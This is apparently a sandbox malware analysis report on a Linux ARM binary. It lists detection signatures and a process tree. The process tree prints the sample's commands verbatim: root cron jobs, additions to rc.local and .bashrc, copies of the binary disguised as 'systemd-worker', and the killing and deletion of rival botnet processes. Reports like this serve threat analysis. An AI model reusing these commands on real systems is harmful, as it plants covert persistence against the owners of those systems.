Overview

overview

6

Static

static

1

e44ffe8b84...ce60c6

debian-12-armhf

6

Analysis

  • max time kernel
    1s
  • max time network
    143s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    26/10/2026, 12:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    e44ffe8b84b4bf682a93a9b908462526f758b1e5b3d502177a38428faace60c6
  • Size 797KB
  • Sample261026-phbweaez2p
  • SHA256 e44ffe8b84b4bf682a93a9b908462526f758b1e5b3d502177a38428faace60c6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
discoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e44ffe8b84b4bf682a93a9b908462526f758b1e5b3d502177a38428faace60c6
    /tmp/e44ffe8b84b4bf682a93a9b908462526f758b1e5b3d502177a38428faace60c6
    1⤵
    • Changes its process name
    PID:787
    • /bin/sh
      sh -c "echo '* * * * * root /tmp/h > /dev/null 2>&1' > /etc/cron.d/hilix 2>/dev/null"
      2⤵
      • Creates/modifies Cron job
      PID:789
    • /bin/sh
      sh -c "echo '* * * * * root /tmp/h > /dev/null 2>&1' >> /etc/crontab 2>/dev/null"
      2⤵
      • Creates/modifies Cron job
      PID:792
    • /bin/sh
      sh -c "grep -q '/tmp/h' /etc/rc.local 2>/dev/null || echo '/tmp/h &' >> /etc/rc.local 2>/dev/null"
      2⤵
      • Modifies rc script
      PID:795
      • /usr/bin/grep
        grep -q /tmp/h /etc/rc.local
        3⤵
          PID:798
      • /bin/sh
        sh -c "grep -q '/tmp/h' ~/.bashrc 2>/dev/null || echo '/tmp/h > /dev/null 2>&1 &' >> ~/.bashrc 2>/dev/null"
        2⤵
        • Writes file to tmp directory
        PID:803
        • /usr/bin/grep
          grep -q /tmp/h "~/.bashrc"
          3⤵
            PID:804
        • /bin/sh
          sh -c "cp /tmp/h /usr/bin/systemd-worker 2>/dev/null"
          2⤵
            PID:807
            • /usr/bin/cp
              cp /tmp/h /usr/bin/systemd-worker
              3⤵
                PID:809
            • /bin/sh
              sh -c "cp /tmp/h /usr/lib/systemd/systemd-worker 2>/dev/null"
              2⤵
                PID:810
                • /usr/bin/cp
                  cp /tmp/h /usr/lib/systemd/systemd-worker
                  3⤵
                    PID:811
                • /bin/sh
                  sh -c "cp /tmp/h /usr/sbin/systemd-worker 2>/dev/null"
                  2⤵
                    PID:812
                    • /usr/bin/cp
                      cp /tmp/h /usr/sbin/systemd-worker
                      3⤵
                        PID:813
                    • /bin/sh
                      sh -c "pkill -f 'mirai|gafgyt|qbot|anime|miori|okiru|satori' 2>/dev/null"
                      2⤵
                        PID:814
                        • /usr/bin/pkill
                          pkill -f "mirai|gafgyt|qbot|anime|miori|okiru|satori"
                          3⤵
                          • Reads runtime system information
                          PID:815
                      • /bin/sh
                        sh -c "rm -f /tmp/*mirai* /tmp/*gafgyt* /tmp/*bot* /tmp/*anime* 2>/dev/null"
                        2⤵
                          PID:816
                          • /usr/bin/rm
                            rm -f "/tmp/*mirai*" "/tmp/*gafgyt*" "/tmp/*bot*" "/tmp/*anime*"
                            3⤵
                              PID:817

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              hilix
                              • Path /etc/cron.d/hilix
                              • Size 39B
                              • SHA256 e473fb7261c33f771ca3302192e09b6c549712e8a5362ee403f9a6809e8be5eb
                              • MD5 SHA1 SHA512
                              Submit Download

                              rc.local
                              • Path /etc/rc.local
                              • Size 9B
                              • SHA256 b0b0f3d76ed7f234dfbb9f9f46b908c9ccdba246526852d2f02070125afdaad0
                              • MD5 SHA1 SHA512
                              Submit Download